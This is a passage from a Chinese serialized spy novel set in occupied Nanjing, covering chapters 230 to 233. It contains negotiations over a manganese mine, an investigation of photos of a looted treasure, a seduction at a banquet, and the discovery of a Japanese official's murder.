此外,林赤如此做法,是带有目的性的,绝非心甘情愿,明白了这一点,陶楚歌内心尽管略有失落,但意犹未尽 ,她的眼珠转了转,马上有了主意。 “林大哥,你刚才说什么啦?我没听清!”陶楚歌装作一脸茫然的样子。 林赤狐疑打量她一眼,见她又要询问,忙做了个小声的手势。 林赤再次贴在她耳边把刚才的话重复了一遍。 陶楚歌这下听得更明白了,但她并不想就此罢休,也如法炮制,在林赤的耳边问道:“既然日本人想见他,为何不让他参加日本人的活动?” 林赤耐着性子继续解释道:“你只要把我的原话告诉他就行了,他自然会明白的!” 陶楚歌使劲点了点头。林赤不放心,进一步吩咐道:“让你爷爷重新找个司机,别让他开车!还有,我的话不要告诉任何人,包括你爷爷!” 陶楚歌小鸡啄米般再次连连点头。 …… 客厅里,黑木一坐定,便开门见山道:“陶会长,我上次提起的那件事考虑得如何了?” 陶天阙早知黑木的来意,装疯卖傻问:“将军所说何事?” “栖霞山锰矿开采一事,我已给了你不少时日考虑,理应有结果了吧?” “哦……这件事啊!”陶天阙皱着眉头思忖片刻,抬起头正色道:“我说过,我是个生意人,只要有利好,我何尝不感兴趣?只是……”陶天阙打住,眼睛扫了扫黑木,又扫了扫渡边雪奈。 黑木忙问:“陶会长请讲!” “你们所给的条件未免也太苛刻了吧……”陶天阙不慌不忙道。 “百分之三十的股份啊!这还苛刻?”黑木跳了起来,一副吃惊的样子。 “技术和人力都得我出,你们仅仅提供了采矿的机械和设备,就一口吃掉百分之七十的股份,您不觉得这样的要求太过分了吗?” “此言大谬!”黑木斩钉截铁回敬道,“陶会长别忘了,我们还提供了矿藏资源,怎么的这也是大头啊!” 陶天阙明白了,黑木这是不拿自己当外人,他的算盘里,已将栖霞山的锰矿资源当成是自家的了。 陶天阙有些愤怒,但自知讲不了道理,摇摇头叹了口气道:“但这个份额我陶某人还是接受不了!” 渡边也有些愤怒,没好气呛了一句:“陶会长不要得寸进尺,你狮子大开口也要问我们皇军同不同意,你也不想想,给你三十的股份已算是给了你天大的面子,别不知好歹……” 这句话有些伤人,陶天阙哪里受得了这般委屈,没等渡边说完,也不看她,冷冷对着黑木说道:“那还是请黑木将军另找高明吧,我陶某人年事已高,只想颐养天年!”说着摆出一副死猪不怕开水烫的模样。 黑木伸手拉了拉渡边的衣襟,强忍住内心的怒火,再问:“那陶会长的期望值是多少?” 陶天阙伸出四根手指,在黑木的面前晃了晃,“四成!” 黑木不甘心,“我们说到底只是需要你的技术,技术入股也能占有这么多?” 陶天阙慢慢立起身,徐徐说道:“如果黑木将军做不了主,不妨向上请示请示?”说着,已是一副送客的姿势。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第230章 拨云现日 黑木岿然不动,也不说话,直到陶天阙无力的垂下手臂,黑木才不慌不忙说道:“陶会长,你太激动了,用得着下逐客令吗?” “在这件事上,老朽实在是觉得双方没有什么好谈的。” 渡边雪奈忍无可忍道:“陶会长可能还没有转过弯来,南京之形势,已今非昔比,蒋介石政府早已跑到了大西南一隅,我弄不明白陶会长的底气到底从何而来!放眼南京甚至整个华东乃至大半个中国,都已是皇军的天下,我承认,你和帝国的上层,存有千丝万缕的联系,但我相信,无论是谁,都将以帝国的利益为重,这一点毋庸置疑!之所以选择和你合作,乃是因为陶会长还有些影响力,别敬酒不吃吃罚酒!” “假如我陶某人就爱吃罚酒呢?渡边小姐准备怎么罚呀?杀了我?”陶天阙双目炯炯,直视渡边的眼睛。 渡边刚要回答,黑木抢先道:“陶老您言重了,不就是双方谈判嘛,不用上升到这么高的高度,我们来不是逼迫老先生的,而是拿出了十二分的诚意,如果陶老会长觉得条件苛刻,还是好商量的嘛!”说完黑木狠狠瞪了渡边一眼。 渡边气呼呼地缄默不语。 陶天阙借坡下驴,重新坐下。 黑木于是接着说道:“今天天色已晚,我们不多打扰,你所言极是,关于四十的股份我的确需要请示,不过陶会长也别抱太大希望!” 说着黑木这才站起,率先向门外走去。 听到门响,林赤赶紧从偏房走出,见到黑木阴沉着脸,知道他们的交谈并不愉快,便问:“将军,咱们这是回去?” 黑木点头,林赤等渡边先行走过,手一挥,警卫迅速朝门外跑去。 镰刀抹着嘴匆匆走出餐厅,远远对着黑木喊了一句:“将军慢走!” 黑木也不说话,甚至头也没回,径直走出院子,带着一众人,扬长而去了。 黑木一走,院子顿时冷清下来,镰刀看到陶天阙怔怔出神,走近他,低声问道:“你们谈什么啦?” “张老弟,你跟我进来。”陶天阙带着镰刀进了房间。 没等镰刀坐下,陶天阙说道:“日本人看上了栖霞山的锰矿,三番五次找我寻求合作,只答应给我百分之三十的股份,被我断然拒绝了!” 镰刀忙问:“日本人为什么一定要和你合作?他们看中你什么啦?” 陶天阙幡然道:“有一点没和老弟讲清楚,我最早留学东洋,学的就是勘探专业。” “这么说,你掌握了锰矿开采的核心技术?” “可以这么说,但也不尽然,能力比我强的人有的是,可叹的是国民政府对这方面的人才重视程度不够,据日本人讲,有位叫谢十九的专家,目前就滞留在上海,日本人正在千方百计找他,当然这之前,他们必须要仰仗我的专长!” 镰刀思考了片刻,又问:“关于这方面我是个门外汉,讨教陶老,锰矿到底有何效用?” “主要是用来炼铁,它是一种脱氧剂。” “如若如此,我希望陶老还是尽快应允下来!”镰刀直言不讳说道:“您不答应,日本人还会找其他人的,与其如此倒不如由你介入,这好歹也算是掌握在我们手里,至于股份,那玩意太虚了,即便写上文本,拟成合同,对日本人也不见得有多大的约束力,他们不还是说撕毁就撕毁?” 这句话说到陶天阙的心坎里,他欣慰应道:“我当初倒也是这般想的,可就怕成了民族的罪人,被万夫所指!” “陶老大可不必想得太多,孩子是你的,假如有一天他忤逆不孝,再取他性命也不迟,没有人有权利指责你!” “那好,有张老弟这席话我也就放心了,你也算是代表着一个党派,将来有一天,我还指望老弟你给我说句公道话呢!” “陶老多虑了,将来万一有这么一天,我第一个站出来替你说话,是非曲直,自有公论!您对民族的解放做出的贡献我们是有目共睹的,红的终究是红的,怎么描都不可能把它描黑。”镰刀说完开始掏口袋,陶天阙已对这位共党的领导人已有相当程度的了解,见状连忙说道:“张老弟的烟瘾很大,我送你一盒最好的古巴雪茄!” 镰刀还没来得及道谢,陶天阙转身进了书房。 拉开抽屉,陶天阙抓起一盒包装完好的雪茄,刚想关上抽屉,目光不经意落在一叠照片上。 陶天阙迟疑了一下,还是取出了这叠照片,大致翻了翻,便捏着照片出了书房。 镰刀边谢边接过雪茄,如获至宝般揣到大衣口袋,正见陶天阙凝看着手中的照片,不由好奇问道:“陶老,你在看什么呢?” “你先看看这几张照片。”陶天阙将手中之物递给镰刀,静静地看着镰刀一张一张翻看。 随手翻了几张,镰刀的表情严肃起来,不禁问:“陶老,这些照片有何来历?” “照片上的器物,张老弟可曾见过?” 镰刀摇了摇头,把照片又放在眼前,继续翻阅着,半晌开口道:“从质地和品相看,此器物气宇不凡,难不成……难不成是一件瑰宝?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!陶天阙捋了捋胡须,“我当年留学东洋,在东京博物馆曾见到一件和此物极相似的,它有个名字,叫做食人虎兽尊,当然二者有区别,只是这区别若不是内行人,是一眼分辨不出的!” “如此说来,果真是件宝物?并且和东京博物馆的那一尊是一对?” “理应如此,这个世上万不会有如此相像的器物。之于我的认知,说它是国宝级别,也并不为过。” 镰刀颔首,顿了顿又问:“这些照片是怎么来的?” “说来话长,前不久有一个日本人莫名其妙跑到中山中路上,闯进了我的那家小诊所,说是找一个人,他走之后,有人在地上发现了一筒胶卷,八成是这名日本人落下的!” “这就对了!”镰刀斩钉截铁道,“这器物拍摄的时候,它的背景分明就在一张军用床上,最明显的是垫在下边的被单,您瞧,是军绿色的!”镰刀把照片送到陶天阙的面前,接着道:“从颜色上判断,这是日军士兵一贯采用的颜色。” “那是不是就可以下结论,照片上的器物目前在日本人手里?”陶天阙征询道。 镰刀并未马上回答,而是问道:“陶老,目击者是谁?我能见他吗?” “据我所知,她是你们的人,叫做曲思秋,如果我没猜错的话,她正是被你们救了。” 镰刀一下子跳将起来,“我知道她!”说着看了看表,“这个时候,她应该已乘船离开了南京城,或许已溯江而上数十公里!”缓了缓再道:“思秋她当时说了什么,比如那名日本人的年龄或者模样?” “和她交接者叫赵楷,是我的手下,他给我说起过,那个日本人的级别不是很高,一进诊所,就火急火燎找人。” “哦……”镰刀若有所思道:“从您的这些话里,我大致有了分析……第一,照片上的器物,定是来自于我泱泱华夏,日本人断不会把国内拍摄的胶卷千里迢迢带到南京,这个器物最大可能就是取景于南京;第二,获取这件国宝的,并非是身份显赫的军中高官,并以此推断,它目前的主人,应该是通过某种并不光明的手段攫取,且千方百计欲占为己有,试想一下,日本是一个什么样的民族?从明治维新以后,这个国家不择手段巧取豪夺,又从我国掠夺了多少稀世之珍?一旦他们中有人知晓了这件国宝的蛛丝马迹,那些军中高层还不趋之若鹜?哪里容得一个低阶的日本普通军人染指?” “可惜我们即便掌握了这个线索,也心有余而力不足啊!只能眼睁睁看着我大中华的瑰宝流失外夷!”陶天阙哀叹一声。 两人正长吁短叹,忽闻院子里有了响动。陶天阙侧耳一听,惊喜道:“说曹操曹操到,赵楷回来了。”说着向门口走去。 走进院子的正是赵楷,看到大厅的大门洞开,陶会长探出脑袋,正要疾步上前问好,忽见偏房的大门里冲出一人,远远喊道:“赵楷哥,是你回来了吗?” “是我。”赵楷停下脚步,等着陶楚歌走近。 陶楚歌一把拽住赵楷的衣袖,神秘兮兮低声道:“赵楷哥,跟我来,我有重要的话跟你说。”说着率先向院子西侧的亭子里走去。 赵楷跟她进了亭子,还没站定,陶楚歌一脸郑重道:“林大哥今天来我家了,他有话转告你,你可不能和任何人说起。”边说边向赵楷招手,示意他低下脑袋。 “你所说的是林赤?”赵楷狐疑问,“日本人把他放出来了?” 陶楚歌嗯了一句,踮起脚在他耳边把林赤的一番话如实转告。 赵楷听后陷入沉思,片刻对陶楚歌点头道:“我知道了,谢谢你!” “谢我干什么?要谢你谢林赤。” 赵楷支支吾吾应着,转身欲离开,陶楚歌又一把拽住了他,轻声询问道:“林大哥的这句话到底什么意思?” “与你没关系,你就不要多问了!” 陶楚歌不甘心,依旧缠着赵楷问个究竟,无奈之下,赵楷只得说道:“既然你林大哥都没对你具体解释,他肯定也是不想让我告诉你!” 陶楚歌嘟着嘴不再吱声。赵楷这才得以脱身,快步进了大厅。 赵楷和镰刀两人都认识,互相点了点头,陶天阙马上指了指茶几上的照片问赵楷道:“这些照片你还有印象吗?” 赵楷拾起,还没翻就已认出,“这照片是曲思秋给我的那筒胶卷里洗出来的吧?” 陶天阙还没表态,镰刀迫不及待道:“赵先生,思秋当初给你胶卷时,对遗落胶卷的鬼子有过什么样的描述?” “她有一句话我至今印象很深,她说那个日本人是开着一辆电波侦听车前来诊所的……” “电波侦听车是个什么东西?”陶天阙看了看镰刀。 “简单说,就是探测电台的。”镰刀犹自继续道:“曲思秋是一名电台发报员,她所说的自然不会有假……现在就是需要弄清一点,在南京城,到底是日军哪些单位拥有这种电波侦听车……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第231章 木屋居之夜 和陶天阙的交谈接近尾声,镰刀很满意,总的来说,今天的贸然拜访此行不虚,一方面,陶天阙的盛情款待使他的胃如同久旱的庄稼逢上了甘霖,痛痛快快地享受了一次美食的轰炸;另一方面,他竟然意外地收获了一盒雪茄,尽管贵为堂堂共产党的大区经理,但这洋玩意他极少消受,自从那天晚上陶天阙给了他一根后,他便深深爱上了它,倒不是镰刀喜欢它的口感,而是又粗又长的雪茄只要点上一次火,便足以满足他对烟瘾的无限渴求。除此之外,他还见上了他的真正对手——松机关的黑木瞳,某种程度来讲,这种机会实在难得,在经过了黑木的一番对话后,他对目标敌人已有了起码的判断,而黑木却对他一无所知,两人可谓一明一暗。 镰刀看了看手表,时间已晚,现在还有最主要的一件事悬而未决,这也是他此行的最主要目的,那就是寻求一种身份的掩护。 镰刀的性格是不达目的决不罢休,如果让他将此事无限期搁置,那犹如浑身钻进跳蚤一般难受。 想到这儿,镰刀直视陶天阙,大言不惭问道:“陶老,您答应我的事到底是怎么安排的?” 陶天阙一愣,旋即明白镰刀所指,挠头思索了片刻,忽然转头对赵楷说道:“你帮我把老周叫来。” 老周正和储洪义拉家常,听到赵楷说会长有请,步履轻盈跑了进来。 “老周,中华路老万全酒店现在谁在打理?” “段一泓掌柜。” 陶天阙低头想了想,很快抬起头吩咐道:“老周,你明天帮我跑一趟老万全,把段掌柜调到我们的纺织厂去做襄理,然后安排这位张老弟去接手。” 老周诧异看了陶会长一眼,欲言又止,看到陶天阙朝他挥挥手,慢慢退了出去。 待老周一走,陶天阙微笑着说道:“张老弟,我如此安排你还满意?” “挺好,让陶老费心了!”镰刀忙不迭声应道。 镰刀早就喜不自禁,他的骨子里只是想谋求一份可以隐秘身份的工作,根本没想到还能当上老板,何况还是一家实体店的老板,更何况这家实体店听起来怎么的也是个老字号。当然,镰刀也不是一个贪得无厌的人,该掌握的度他还是知道的,这个分寸他必须拿捏得准,听到陶天阙的安排,虽然满腔欢喜,心中也有疑虑,于是毫不犹豫直言道:“陶老,这家饭店规模如何?” “在中华路三山街上,是一幢临街的三层独栋楼房,创办将近二十年,在南京城很有一定的知名度,本地市民逢年过节、婚庆嫁娶都喜欢到我酒店订席!” 镰刀终于惴惴不安起来,“既然如此,我看还是算了吧,这个老板不好当,本人自十年前投身革命,满脑子就是如何杀敌,从未有过这方面的经营经验,就怕我把这么好的酒店给糟蹋了!” “张老弟不要多想,现在是非常时期,生意黄了还有其它机遇,就算我是为了革命也尽了一份绵薄贡献!” 镰刀心中感动,思来想去还是说道:“要不,您老别让段掌柜离开,我们就给他打打下手!” “那怎么行!”陶天阙使劲摇头,“段掌柜到底是外人,他的心思我掌控不了,我不能因为一己之念坏了老弟的大事,那岂不是成了千古罪人?” “遇到陶老这样深明大义的民族豪杰,实属国之大幸!”镰刀起身,激动地伸手一把握住他的手,大力晃动着,“今晚就不打搅了,回去后我稍加准备一下,明天上午再来叨扰。” 陶天阙跟着起身,和镰刀并肩来到院子里。 储洪义从餐厅跑了出来。 与此同时,偏房的房门也被打开,陶楚歌听到陶天阙的声音,远远地喊道:“爷爷,罗小姐有事求你。” 陶天阙不由停下脚步,但见罗蔓怯怯地跟在陶楚歌身后向外走来。 “爷爷,罗蔓不想在诊所呆了,想让您给她重新找一份差事!” “为什么?”陶天阙看着走到跟前的罗蔓问道。 罗蔓支支吾吾,似乎没有开口的勇气。 “最近我们诊所老有日本人光顾,她不想见到日本人。”陶楚歌抢口说道。 “哦……”陶天阙若有所思,半晌拉了拉镰刀的手臂,将镰刀引到亭子里,开门见山说道:“张老弟,这位罗小姐安排到你那里,让她端菜递水做一名服务员如何?”说着轻声把罗蔓的遭遇一五一十说与镰刀听了。 “没问题啊!”镰刀满口应允下来,“别说是您老吩咐的,就是我听到她的这般遭遇,也定然出手相助的!” “那就好,我只是说出了我的想法,具体意见还需要张老弟拿!” …… 同一时间,鼓楼广场西南侧紧挨日本南京大使馆的木屋居二楼的四号包厢里,歌舞升平、莺歌燕舞,七八名客人济济一堂,已喝得东倒西歪,桌上的杯碟一片狼藉。 日本驻南京大使馆总领事堀公一带着领事馆警察署副署长悌泽以及书记官宫下和船山在此设宴招待远道而来的客人——上海总领事馆的岩井英一、袁塑和上野明。 本小章还未完,请点击下一页继续阅读后面精彩内容!酒到三巡、菜至五味,几名歌伎依旧在扭动身躯,翩然起舞,她们边舞边吟唱着一首日本歌曲《荒城之月》。 看到时间已晚,醉眼朦胧的堀公一挥手屏退歌伎,向客人举杯敬酒,口齿不清道:“岩井君,你来南京已数天……我公务繁忙,一直没有时间好好招待你,怠慢了,这杯酒算是再次惩罚我……” 看到堀公一已在今晚惩罚了自己不下十杯酒,岩井有些过意不去,但内心还是满满的感动,率先举起杯一饮而尽,放下酒杯,岩井斜眼瞟了袁塑和上野明一眼,二人立即会意,跟着端起酒杯也一饮而尽。 堀公一如法炮制,也瞟了一眼三名随从,悌泽和宫下以及船山三人当即毫不犹豫把酒倒进肚子里。 “好了,今晚的聚会我看到此为止……”堀公一歪歪斜斜站起身,目光落在袁塑身上,忽然想起一事,倾身抓起袁塑的手,信誓旦旦说道:“袁桑……你堂弟的事情……我答应你,你让他明天来我帝国大使馆,找悌泽君,悌泽君会对他进行面试的……”说着堀公一又面对悌泽道:“悌泽君,这件事就交给你了……” 袁塑腿直打颤,还是努力站直身子,诚惶诚恐道:“我代我堂弟袁路谢谢总领事先生!”没说完便弯腰鞠躬,身子一歪,不是上野明眼疾手快一把抓住他的手臂,恐怕已趴倒桌上。 “自家人客气什么……再说袁桑是岩井君的得力助手,这点小忙我还是帮得上的!”堀公一顿了顿,又努力想起一事来,不禁继续道:“不过,作为大使馆的仆役,薪水不会很高,每月十块钱……” “已经很不错了!”袁塑再次挺直腰板,“乡下人能有这么高的薪水,养家糊口已不成问题……” 堀公一挤出一丝笑容,挽起岩井的手,含混不清道:“咱们一道回使馆休息……” 岩井自以为在众人之中酒量算是最大,他自信地快速站起,极力不让身子发生一丝偏斜,并主动架起堀公一的肩,大踏步走出包厢。 堀公一的两名书记官也跟着走出,没走几步忽然发现悌泽原地不动,忙问:“悌泽君,你怎么不走?” “我还有些问题要询问一下袁先生。” 站起身的袁塑听毕忙挨着上野明坐了下来。 “袁先生,既然总领事让我负责此事,我是需要弄清几个问题……” “悌泽君请说!” “即便是我帝国大使馆的一名仆役,也是有着极高的要求,不知你的那位堂弟符合不符合?”悌泽给袁塑和上野继续斟满酒,自己独饮一杯,不慌不忙说道:“第一,作为大使馆的仆役,必须不懂日语……” “我那堂弟就是个乡野之人,中国话都说不利落,何况日语?” “那就好!第二,人一定要勤快,千万不能偷奸耍滑,此外一些重要的房间绝对不可以跨进一步!” “第一点悌泽君尽管放一百个心,我那堂弟死脑筋一个,最大的缺点就是勤快,你明天一见便知……至于第二点,我会反复交代的,悌泽君不妨也给他上纲上线,他人老实,自然不敢造次!” “吆西!”悌泽看到袁塑对他的一番话反响热烈,由衷快乐起来,再给自己斟酒一杯,送到上野面前,激情满怀道:“上野君,我单独敬你一杯酒!” 上野明端起酒杯,正要喝,袁塑立身道:“你们二位慢聊,我先回房休息。”接着把脑袋转向悌泽问道:“悌泽君,如果您没有什么吩咐,我就先告辞了!” “没了!” 袁塑晃晃荡荡离开座位,下楼离去。 “袁桑,慢走!”上野明亲切打了声招呼。 悌泽端起酒杯鹊巢鸠占,和上野并排坐下,“上野君,咱兄弟二人今晚一醉方休如何?” “没问题!”上野目送袁塑出去,把杯中酒一股脑倒进喉咙里,拎起酒壶倒酒,发现酒壶滴酒不剩,再提起另一壶,亦是空空如也。 悌泽见状大声喊叫一句:“服务员,上酒!” 很快,门外出现响动,移门被人拉开,一个清丽的女服务员进了房间,她的左右手各提着一壶酒。 女服务员有些姿色,扎着长长的马尾巴辫子,弯腰搁下酒壶时,身上的淡淡香水飘袭而来,竟然使得紧靠她的上野一阵心旌摇荡。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第232章 这个女子不简单 女服务员放下酒壶,正要直起身子,一只手忽然搂住了她的腰。 女服务员大惊失色,情急之下,腰际暗暗发力,意欲挣脱那只手的控制,孰料那只手随即使力,竟然缠绵上了她。 如果她孤注一掷,或许可以解脱,只是那女服务员显然不愿让场面失控,眼看挣脱无望,她果断放弃挣扎,顺势一屁股坐了下来。 屁股的落点,正是在上野的腿上。 还未等身子坐稳,女服务员佯装嗔怒捶了上野一拳,娇滴滴叫了起来,“太君,你真坏!” 上野明心花怒放,根本不顾悌泽在场,一把握住了女子的拳头,用力在手里揉了揉,涎着脸说道:“我就坏了,怎么的?” 女子妙目灵动,向悌泽投来深情一瞥,这一瞥,柔情万般,裹挟着无助的呐喊,竟然使得悌泽又爱又怜,刹那间,悌泽油然而生万般豪情,恍惚中,自己俨然成了上帝亲自委任的救世主,顿时萌生出英雄救美之心。 悌泽不假思索,抓起酒杯,使劲敲了敲桌子,摆出一副生气的样子,“上野君,这酒到底喝不喝了?” “喝!当然要喝!”上野一只手乘机在女子的腰间乱摸,另一只手提起酒杯,一饮而尽,用空下的手抹了抹嘴唇,大大咧咧招呼悌泽道:“悌泽君,帮我把酒倒满,咱俩今晚不醉不归!”说完,他不再看悌泽,已然一副意兴盎然的模样,竟然不把悌泽放在眼里。 “小姐,你叫什么名字啊?”上野用食指托起她的下巴,眼睛已眯成了一条缝。 “小女子姓刘,你叫我若陶好了。”说到这儿,女服务员刘若陶哀怨地看了悌泽一眼,似乎是在怒其不争。 悌泽妒火中烧,再也忍不住,歇斯底里喊叫起来:“上野君,请你不要对我使用命令的口气!” 说完把酒壶重重往桌上一摔。 酒壶在桌上倔强地弹跳了一下,无论如何努力,还是倾倒了,酒水从壶口的外沿喷涌而出,洒满了整个桌面。 这一摔,气拔山河,上野一呆,诧异地看着悌泽,好半天才愤怒斥道:“悌泽君,你疯了吗?” 刘若陶趁机从上野的臂弯逃出,站了起来,抬手理了理头发,赶紧拎起酒壶替上野斟酒,不无歉意道:“太君,请息怒!”边说边把酒杯递到上野手里,从桌上找了一只空杯,也斟满了酒,举杯和上野碰了一下,连连道:“都是我不好,我罚酒一杯!” 也不管上野喝不喝,刘若陶率先饮尽杯中酒。 轮到悌泽尴尬起来,经上野这么一斥责,悌泽突然陷进深深的自责之中,上野一行本是他们领事馆的贵客,怎么的也不能如此失礼!只是他到现在都弄不明白,他的这无名之火到底因何而起。 再待下去显然不合时宜,悌泽一轱辘爬起来,悻悻道:“我没疯,疯的人是阁下……”悌泽开始迈动步子,没走几步忽然觉得就这么决绝离去,显然理亏的是己方,那岂不是授人以柄?悌泽的脚步不知不觉慢了下来,脑子一个闪念迸出,马上理直气壮起来,毫不犹豫转过脑袋对上野忠告道:“上野君,我这可是为你好!你这样贪杯会坏事的!” 见上野的目光纠结起来,悌泽愈加盛气凌人道:“上野君还记得户田青木君吗?就是帝国朝日新闻的首席记者……他昨天刚从上海赶到南京,也是在这里放纵了一下,多喝了几杯,结果怎么样?户田君不见了!至今下落不明!所有的迹象表明,他已不在人世了!” 话说到这个份上,悌泽已声色俱厉。 上野蓦然一愣,眼神不觉迷离起来,目光从悌泽身上收回,若有若无盯着某处,蹙眉凝思起来,但闻他呐呐自语起来:“上海……报社记者……死了……”忽然间他似有顿悟,双目精光四射,抬头正要搜寻对方的身影,但见悌泽已扬长而去! 俄顷之间,上野欣喜若狂,内心参透了一个惊天的大秘密竟使得他如癫如狂,恨不得马上将它告示于天下,而且一刻也耽误不得,否则他会彻彻底底疯掉。 刘若陶看到上野着了魔般的从地板上跳了起来,前后判若两人,脱口问道:“太君,您怎么啦?” 这个秘密太大,上野小小的心腔已包容不下,如果这个时候不从他嘴里道出,或许他会死去。 “我想起来了,就是他!”这句话一道出,上野忽然觉得内心好受多了。 “他是谁呀?让太君如此挂念?”刘若陶有意无意问道。 “林赤,对,就是林赤!申报社救人的正是他!”上野如释重负,一瞬间轻松无比。 “太君这是要凌迟谁呀?”刘若陶把身子贴近上野,轻轻地拉了一下他的衣襟。 香风又一阵袭来,上野明不经意低头,见到了一双含情脉脉的眼睛,正深情款款地打量着他! 上野明幡然大悟,眼前的这位妙龄女子才是他的当务之急需要攻下的山头。 他再也把持不住,双手犹如铁箍一样牢牢把刘若陶禁锢在胸前。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!意乱情迷的上野低头把满是酒气的嘴唇印在刘若陶的面颊之上,这莽撞的一吻,对方非但没有拒绝,反而羞赧地低下了头,上野更是意气风发,一只手撩开对方的领口,已触摸到她细嫩温热的肌肤,刚要继续探下去,刘若陶突然拨开他的手,笑骂一句:“看把你急的!” 上野已不能自持,整个人像是酥了一样,迫不及待再次将手从对方的衣服下边撩了进去。 刘若陶紧紧抓住对方的手臂,想阻止它的前进,可是那只手力量浑厚,根本禁止不了。 上野一得手,手掌上的末梢神经以电流的速度把某种愉悦感快递至全身,电光火石间,他的浑身上下,一种奇妙的化学反应潮涌而至,居然迫使他的每一个器官产生了不一样的物理反应。他的鼻孔立刻喘起了粗气,瞳孔散乱迷离,心脏砰砰直跳,脸上火一般发烫……接着所有的反应集中到某一点,那是一种亘古而原始的征服欲,以排山倒海之势汹涌袭来…… “太君……这里不合适!”刘若陶狠狠地掐了上野一把,乘上野一分神,刘若陶快速后退两步,已和他分开,她边整理衣服边羞涩说道:“太君,咱们换个地方?” 上野也不说话,一手揽住她的小腰,急速移动脚步朝着门外走去…… …… 天刚亮,林赤就被松机关行动处的福田明音叫醒,林赤还没问话,对方用生硬的中国话说道:“渡边少佐找你。” 林赤很快穿好衣服,跑步来到憩庐的楼前院内,却发现院子里已聚集了行动处的四五名队员,两辆轿车已经发动,随时待发。渡边倚在第一辆车的后门上,看到林赤到了,渡边主动迎上去。 “渡边少佐,是不是有什么行动?”林赤在渡边身前站定,主动问道。 “上海领事馆的上野明在鼓楼饭店被人杀了!”渡边没好气说道。 “什么?”林赤一呆,接着说道:“上野君不就是岩井先生的那位手下?” “是的。” “什么时候发现的?” “是鼓楼饭店一名上早班的服务员发现的,饭店老板第一时间报告了宪兵队,宪兵队电话通知了我们松机关。” “黑木将军知道吗?” “我已派人去通知了将军,他马上下来……” “我的意思是说,我去合适吗?毕竟我的主要任务是保护刘云雄将军的安全。” “可是刘将军不待见你,他指名换掉你,黑木将军已重新作了安排。从今天起你隶属行动处,归我领导,这也是将军的意见!” 林赤不说话了,僵立原地,脸上阴晴不定。 “难道林先生不愿成为我的手下?”渡边微笑着端详着林赤说道。 “那倒不是,我是想一定是我哪方面做得不好,让刘将军厌烦了!” 正说着,黑木阴沉着脸,从憩庐楼内匆匆走出,来到林赤跟前,冷冷地看了他一眼,林赤连忙鞠躬亲切喊了一句:“将军早!” 黑木微微点头,一言不发钻进车里。 渡边跟着爬上了副驾驶座,探头指了指前面那辆车,林赤二话不说,便上了第一辆车。 晨曦散去,朝阳喷薄而出,松机关的车队呼啸着驶出大门,背对着晨阳驶上了黄浦路。 车子没开多远,不经意间,林赤倏然发现黄浦路的右侧的一家店铺,在二楼的墙面上,竖起了一块巨大的红漆招牌:天华百货店。 店招的右下角,竖写着一列小字:黄浦路分店。 柔黄的晨光照射下,不难发现这是一块崭新的招牌。 此情此景,林赤的心中顿时荡起一阵涟漪,他的目光缓缓地从这家百货店的铺面移开,透过轿车的挡风玻璃一眼望去,只见空旷的大街上寂寥无人,马路两侧数丈高的法国梧桐,尽管四散的枝桠光秃秃地伸向空中,但是,你只要细细留意,还是会发现在每根枝条上,已冒出了许许多多的嫩芽。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第233章 案发现场 中山中路离鼓楼广场五百米处,矗立着一栋四层高的欧式建筑,这就是鼓楼饭店。 一刻钟后,黑木带着一行数人赶到这里的时候,鼓楼饭店的马路两侧,已拉上了警戒线,数十名宪兵将这里围得水泄不通,除了持证的日本人,其他的所有人都被禁止出入。 两辆轿车在马路边尚未停妥,黑木从车里跳了下来,径直冲进警戒圈,宪兵刚想叫住他,亦步亦趋的渡边跑步上前,掏出松机关的证件亮了亮,宪兵正要细看,忽然看到他们特高课的课长吉田少佐从饭店大堂迎了出来,并和打头的那位少将亲密耳语起来,便知来者位高权重,手一挥,把渡边身后的所有人都放了进来。 “将军,你来得正好,上海领事馆的上野君在这家饭店被人杀了!”吉田脸色凝重,轻声说道。 黑木打量着他问一字一顿道:“吉田君,你的意思是说,上野明是他杀?” “千真万确,将军请随我来。”吉田一个箭步,马上领先于黑木一个身位,在前方引领着黑木。 一帮人穿过饭店大堂,快步从一楼的过道登上了楼梯,上了二楼,吉田遥遥领先,率先走到楼梯旁的206房间前,和守在门前警戒的宪兵并肩而立,等着黑木一众人的到来。 黑木走到房门前,探头迅速朝房间瞄了一眼,套房内一扇连接卧室的房门敞开,隐约可见一具赤条条的尸体,黑木不由得慢下脚步,从吉田手里接过一双白色手套,缓缓地套在手上,并未马上进去,而是对吉田问道:“现场有破坏吗?” “报告将军,老板报案之前,没有人进去过,我带队赶到后,看到老板哭丧着脸,浑身发抖,一问才知道入住的是名日本人,便第一时间查看了入住登记,没想到竟然看到了上野君的名字,我觉得事关重大,没敢自行处理,就立即让人通知将军,所以现场只有我一个人进去过。” “把饭店老板给我控制住。”黑木不等吉田回答,带着渡边数人小心翼翼进了房间。 套房依旧灯火通明,所有的灯光都被点亮,外间一切设施井井有条,茶几上摆放着两只茶杯,其中一只盖子被揭开,依稀看到里面还有半杯水。渡边把半掩的房门彻底推开,首先映入眼帘的是一个赤身裸体的男人,趴在床边的地板上,身体蜷缩,脑袋朝下,胸前一大滩暗红的鲜血早已凝固。一条白色的浴巾被死者压在身下,上面沾满了斑斑血迹。他的脑袋紧挨床头外侧的支脚,一只皱皱巴巴的枕头散落在地,离他的头部很近。 床铺上,被褥凌乱,床单被揉成一团,种种迹象表明这里曾发生过激烈打斗。 卧室的里侧,是一间盥洗间,房门虚掩着,黑木走上前,伸手推开,里面的洗漱用品杂乱无章搁在水池台面上,再看淋浴间,地上的防滑垫摆放并不规整,淋浴的莲蓬头并未拧紧,渗出的水珠每隔一段时间就冒出一滴,有规律地砸在地砖上,架子上的浴巾也少了一块,很显然已被人使用过。 黑木进了盥洗室,仰头看了看莲蓬头,又弯下腰来,在地漏附近仔细观察着,很快,他从地上找到几根毛发,捡起了来,对着灯光端详了半天,出了盥洗室,把手里的毛发放进渡边手里的塑料袋里。 “把窗帘拉开。”黑木皱着眉头说了一句。 站在外间门口的林赤连忙进了房间,从床头绕过去,轻轻地把窗户上的布帘洞开。 似乎在一瞬之间,晨阳明媚,刺眼的阳光从窗外倾泻而入,照亮了房间的每一个角落。 黑木和渡边来到尸体旁,黑木抬手从床上扯下被单,盖在死者的光着的下半身上,缓缓蹲下身子,扳起他的脑袋。 